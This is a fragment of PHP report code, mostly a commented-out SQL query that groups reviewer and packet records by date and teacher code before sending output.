fvscriptcnt, group_concat(v.fpacket SEPARATOR ', ') as fpkts // from mastabu v inner join masqp s on v.fqpcode = s.fqpcode // left join masteach t1 on v.frevcode = t1.fteachcode // where v.frevcode between '{$tcodefrom}' and '{$tcodeto}' // {$cnd} // {$cnd1} // group by v.fdate,v.frevcode // order by t1.fteachcode, v.fdate"; // $result = $aobj_context->pobj_db->GetAll($query); // // var_dump($aobj_context->pobj_db); // //var_dump($query); // if (count($result) > 0) { // $class_obj->Report($result,'rev'); // } $class_obj->SendOutput(); }
Close